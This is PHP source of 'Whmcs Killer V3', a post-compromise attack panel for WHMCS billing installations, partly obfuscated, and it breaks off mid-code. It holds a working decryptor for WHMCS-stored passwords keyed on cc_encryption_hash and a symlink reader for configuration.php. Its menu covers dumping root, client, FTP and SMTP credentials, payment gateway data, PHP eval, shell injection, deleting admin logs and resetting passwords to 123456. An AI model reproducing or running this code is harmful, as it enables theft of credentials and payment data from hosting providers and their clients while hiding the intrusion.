<?php
${"GLOBALS"}["outicdmnc"]   = "ii";
${"GLOBALS"}["utbtewtqar"]  = "bg";
${"GLOBALS"}["rgwyiylp"]    = "total_pages";
${"GLOBALS"}["yqutalc"]     = "bg2";
${"GLOBALS"}["jqnmewjo"]    = "num";
${"GLOBALS"}["kxrlsu"]      = "col1";
${"GLOBALS"}["bqfsvypmmd"]  = "sql";
${"GLOBALS"}["nhatbrs"]     = "table";
${"GLOBALS"}["ihymmcbnbwl"] = "sql1";
function login()
{
    echo "<center><div id='content' class='box'><br><center><h3 class=\"tit\">DB configuration of WHMCS</h3><br></center><FORM action=\"\" method=\"post\" ><input type=\"hidden\" name=\"form_action\" value=\"1\"><br><table ><tr class='bg'><td>Database Host </td><td><input type=\"text\" size=\"60\" name=\"db_host\" value=\"" . $_COOKIE["db_host"] . "\"></td></tr><tr ><td>Database Username </td><td><input type=\"text\" size=\"60\" name=\"db_username\" value=\"" . $_COOKIE["db_username"] . "\"></td></tr><tr class='bg'><td>Database Password</td><td><input type=\"text\" size=\"60\" name=\"db_password\" value=\"" . $_COOKIE["db_password"] . "\"></td></tr><tr><td>Database Name</td><td><input type=\"text\" size=\"60\" name=\"db_name\" value=\"" . $_COOKIE["db_name"] . "\"></td></tr><tr class='bg'><td>cc_encryption_hash</td><td><input type=\"text\" size=\"60\" name=\"cc_encryption_hash\" value=\"" . $_COOKIE["cc_encryption_hash"] . "\"></td></tr></table<br><INPUT class=\"input-submit\" type=\"submit\" value=\"Submit\" name=\"Submit\"></FORM><h3 class=\"tit\">Symlink to configuration.php of WHMCS</h3><br><FORM action=\"\" method=\"post\"><input type=\"hidden\" name=\"form_action\" value=\"2\"><br> <table ><tr class='bg'><td><input type=\"text\" size=\"30\" name=\"file\" value=\"\"><br> </td><td><INPUT class=\"input-submit\" type=\"submit\" value=\"Submit\" name=\"Submit\"></td></tr></table></FORM>";
    if ($_COOKIE["login"] == "1") {
        $key = $_COOKIE["db_name"] . "-" . base64_encode(base64_encode($_COOKIE["db_host"]) . "|" . base64_encode($_COOKIE["db_username"]) . "|" . base64_encode($_COOKIE["db_password"]) . "|" . base64_encode($_COOKIE["db_name"]) . "|" . base64_encode($_COOKIE["cc_encryption_hash"]) . "|");
        echo "<p class='msg info'>Short info is <br><textarea cols=50 rows='4'>$key</textarea></p><br>";
    }
    echo "<h3 class=\"tit\">Short info</h3><FORM action=\"\" method=\"post\"><input type=\"hidden\" name=\"form_action\" value=\"3\"><br> <table ><tr class='bg'><td><input type=\"text\" size=\"60\" name='key' ></td><td></td><td><INPUT class=\"input-submit\" type=\"submit\" value=\"Submit\" name=\"Submit\"></td></tr></table></FORM></center></div><br>";
    echo "</div> <!-- /cols --><hr class=\"noscreen\" /><!-- Footer --><div id=\"footer\" class=\"box\"><p class=\"f-left\">Coded by <a href=\"http://www.rab3oun.net\">RAB3OUN</a>, </p><p class=\"f-right\">Templates by Adminizio</p></div> <!-- /footer --></div> <!-- /main --></body></html>";
}
${"GLOBALS"}["xgolbbovnt"]   = "title";
${"GLOBALS"}["tiozloyd"]     = "create";
${"GLOBALS"}["vccjfiiqqv"]   = "page";
${"GLOBALS"}["ejbqmv"]       = "col";
${"GLOBALS"}["ixziiviuycx"]  = "where";
${"GLOBALS"}["nptouqgsvo"]   = "start_from";
${"GLOBALS"}["hdpvrycfg"]    = "line";
${"GLOBALS"}["envupsjdgmq"]  = "query";
${"GLOBALS"}["kzpczwgflxjo"] = "total_records";
${"GLOBALS"}["cmrxvpt"]      = "k";
${"GLOBALS"}["plkahzbtei"]   = "x";
${"GLOBALS"}["jshmnvixsqk"]  = "value";
${"GLOBALS"}["kwxopsllwn"]   = "q";
${"GLOBALS"}["jftdiqsydd"]   = "where2";

function decrypt($string, $cc_encryption_hash)
{
    $key                 = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
    $hash_key                  = _hash($key);
    $hash_length  = strlen($hash_key);
    $string                = base64_decode($string);
    $tmp_iv   = substr($string, 0, $hash_length);
    $string = substr($string, $hash_length, strlen($string) - $hash_length);
    $iv    = $out = "";
    $c = 0;
    while ($c < $hash_length) {
        $iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
        ++$c;
    }
    $key = $iv;
    $c  = 0;
    while ($c < strlen($string)) {
        if (($c != 0 AND $c % $hash_length == 0)) {
            $key = _hash($key . substr($out, $c - $hash_length, $hash_length));
        }
        $out .= chr(ord($key[$c % $hash_length]) ^ ord($string[$c]));
        ++$c;
    }
    return $out;
}
${"GLOBALS"}["ieqlmszh"] = "db";
${"GLOBALS"}["lrhfsm"]   = "head";

function _hash($string)
{
    if (function_exists("sha1")) {
        $hash = sha1($string);
    } else {
        $hash = md5($string);
    }
    $out = "";
    $c  = 0;
    while ($c < strlen($hash)) {
        $out .= chr(hexdec($hash[$c] . $hash[$c + 1]));
        $c += 2;
    }
    return $out;
}
${"GLOBALS"}["tbjbrlvq"]   = "item";
${"GLOBALS"}["qhvkuofdkk"] = "columns";
function randomt()
{
    $chars           = "abcdefghijkmnopqrstuvwxyz023456789";
    srand((double) microtime() * 1000000);
    $i = 0;
    $pass  = "";
    while ($i <= 7) {
        $num                = rand() % 33;
        $tmp  = substr($chars, $num, 1);
        $pass = $pass . $tmp;
        $i++;
    }
    return $pass;
}
${"GLOBALS"}["bwjpbyzycqo"] = "r";
${"GLOBALS"}["wmumpttm"]    = "fp";
function header2()
{
    global $currentFile;
    echo "<html><title>Whmcs Killer V3 (Coded by RAB3OUN)</title><head>";
    echo "<link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"" . $currentFile . "?css=1\" /> <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"" . $currentFile . "?css=5\" /> <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"" . $currentFile . "?css=4\" title=\"2col\" /><link rel=\"alternate stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"" . $currentFile . "?css=3\" title=\"1col\" /> <link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"" . $currentFile . "?css=2\" /> ";
    echo "<style>#content {border:1px solid #afafaf; background:#fff;width:650;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /></head><body ><center><img src='?img=0'></center>";
}
${"GLOBALS"}["pcpbwvmdq"] = "v";
${"GLOBALS"}["bftufbeb"]  = "qq";
function header1()
{
    global $currentFile;
    @$query0 = mysql_query("SELECT value FROM tblconfiguration where setting='Charset' or setting='charset'");
    @$v0 = mysql_fetch_array($query0);
    $charset = $v0["value"] ? $v0["value"] : "utf-8";
    echo "<?xml version=\"1.0\"?><!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=" . $charset . "\" /><meta http-equiv=\"content-language\" content=\"en\" /><meta name=\"robots\" content=\"noindex,nofollow\" /><link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"" . $currentFile . "?css=1\" /> <!-- RESET --><link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"" . $currentFile . "?css=5\" /> <!-- MAIN STYLE SHEET --><link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"" . $currentFile . "?css=4\" title=\"2col\" /> <!-- DEFAULT: 2 COLUMNS --><link rel=\"alternate stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"" . $currentFile . "?css=3\" title=\"1col\" /> <!-- ALTERNATE: 1 COLUMN --><link rel=\"stylesheet\" media=\"screen,projection\" type=\"text/css\" href=\"" . $currentFile . "?css=2\" /> <!-- GRAPHIC THEME --> <title>Whmcs Killer V3 (Coded by RAB3OUN)</title></head><body><div id=\"main\"><?<!-- Tray --><div id=\"tray\" class=\"box\"><p class=\"f-left box\"> <strong>WHMCS KILLER V3 </strong></p><p class=\"f-right\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong><a href=\"?p=9\" id=\"logout\">Log out</a></strong></p></div> <!-- /tray --><hr class=\"noscreen\" /><center><img src=\"?img=0\"></center><hr class=\"noscreen\" /><!-- Columns --><div id=\"cols\" class=\"box\"><!-- Aside (Left Column) --><div id=\"aside\" class=\"box\"><div class=\"padding box\"></div> <!-- /padding --><ul class=\"box\">";
    $menu = array(
        "h" => "Home",
        "102" => "Info",
        "1" => "H0st r00ts",
        "2" => "Domains Resellers",
        "3" => "Clients r00ts",
        "4" => "Clients Hosting Accounts",
        "63" => "Clients Tickets ",
        "100" => "Clients List ",
        "105" => "Clients Password",
        "7" => "FTP and SMTP password",
        "8" => "Tools",
        "101" => "Eval PHP",
        "99\" target=\"blank\"=>\"SQL",
        "11" => "BackUp",
        "106" => "DailyEmailBackup",
        "108" => "1nj3c7 Sh311",
        "109" => "Payment Gateways",
        "111" => "Addon Modules",
        "107" => "Index",
        "112" => "Custom Fields"
    );
    if ($_COOKIE["login"] <> "1")
        $menu = array(
            "c1" => "Db Config",
            "c2" => "Symlink to configuration.php of WHMCS",
            "c3" => "Short info"
        );
    foreach ($menu as $x => $y) {
        if ($_GET["p"] == $x) {
            echo ("<li id='submenu-active'><a href=\"?p=$x\"> $y</a>");
        } else {
            echo ("<li ><a href=\"?p=$x\" > $y</a>");
        }
        if (($x == 8)) {
            echo "<ul>";
            echo "<li><a href=\"?p=8&page=1\" > Upload</a></li> <li><a href=\"?p=8&page=2\" >Delete Adminlog </a></li><li><a href=\"?p=8&page=3\" >Change Admin Password to 123456</a></li><li><a href=\"?p=8&page=4\" >Change Client Password to 123456</a></li><li><a href=\"?p=8&page=5\" >Change Client Mail </a></li><li><a href=\"?p=8&page=6\" >Decrypt Password</a></li>";
            echo "</ul>";
            echo "</li>";
        } else {
            echo "</li>";
        }
    }
    echo "</ul></div> <!-- /aside --><hr class=\"noscreen\" /><!-- Content (Right Column) --><div id=\"content\" class=\"box\">";
}
function actionSql()
{
    $_POST["p2"]           = stripslashes($_POST["p2"]);
    ${"GLOBALS"}["dsvjvi"] = "tmp";
    echo "<script> var c_ = '" . htmlspecialchars($GLOBALS["cwd"]) . "'; var a_ = '" . htmlspecialchars(@$_POST["a"]) . "' var charset_ = '" . htmlspecialchars(@$_POST["charset"]) . "'; var p1_ = '" . ((strpos(@$_POST["p1"], "") !== false) ? "" : htmlspecialchars($_POST["p1"], ENT_QUOTES)) . "'; var p2_ = '" . ((strpos(@$_POST["p2"], "") !== false) ? "" : htmlspecialchars($_POST["p2"], ENT_QUOTES)) . "'; var p3_ = '" . ((strpos(@$_POST["p3"], "") !== false) ? "" : htmlspecialchars($_POST["p3"], ENT_QUOTES)) . "'; var d = document;function set(a,c,p1,p2,p3,charset) {if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;}function g(a,c,p1,p2,p3,charset) {set(a,c,p1,p2,p3,charset);d.mf.submit();}function a(a,c,p1,p2,p3,charset) {set(a,c,p1,p2,p3,charset);var params = 'ajax=true';for(i=0;i<d.mf.elements.length;i++)params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);sr('" . addslashes($_SERVER["REQUEST_URI"]) . "', params);}function sr(url, params) {if (window.XMLHttpRequest)req = new XMLHttpRequest();else if (window.ActiveXObject)req = new ActiveXObject('Microsoft.XMLHTTP'); if (req) { req.onreadystatechange = processReqChange; req.open('POST', url, true); req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); req.send(params); }}function processReqChange() {if( (req.readyState == 4) )if(req.status == 200) {var reg = new RegExp(\"(\\\d+)([\\\S\\\\s]*)\", 'm');var arr=reg.exec(req.responseText);eval(arr[2].substr(0, arr[1]));} else alert('Request error!');}</script><html><title>Whmcs Killer V3 (Coded by RAB3OUN)</title><head><style>body{background: #0f0e0d;color: #FF9933;padding: 0px;}a:link, body_alink{color: #FF9933;text-decoration: none;}a:visited, body_avisited{color: #FF9933;text-decoration: none;}a:hover, a:active, body_ahover{color: #FFFFFF;text-decoration: none;}th:hover{background: #524f46;text-decoration: none;}td, th, p, li,table{background: #2e2b28;border:1px solid #524f46;}input{border: 1px solid;cursor: default;overflow: hidden;background: #2e2b28;color: #ffffff;}</style><head><body><div style='position:absolute;width:100%;top:0;left:0;'><form method=post name=mf style='display:none;'><input type=hidden name=a><input type=hidden name=c><input type=hidden name=p1><input type=hidden name=p2><input type=hidden name=p3><input type=hidden name=charset></form>";
    class DbClass
    {
        var $type;
        var $link;
        var $res;
        function DbClass($type)
        {
            $this->type = $type;
        }
        function connect($host, $user, $pass, $dbname)
        {
            switch ($this->type) {
                case "mysql":
                    if ($this->link = @mysql_connect($host, $user, $pass, true))
                        return true;
                    break;
                case "pgsql":
                    $host = explode(":", $host);
                    if (!$host[1])
                        $host[1] = 5432;
                    if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))
                        return true;
                    break;
//================================ PAYMENT ==================================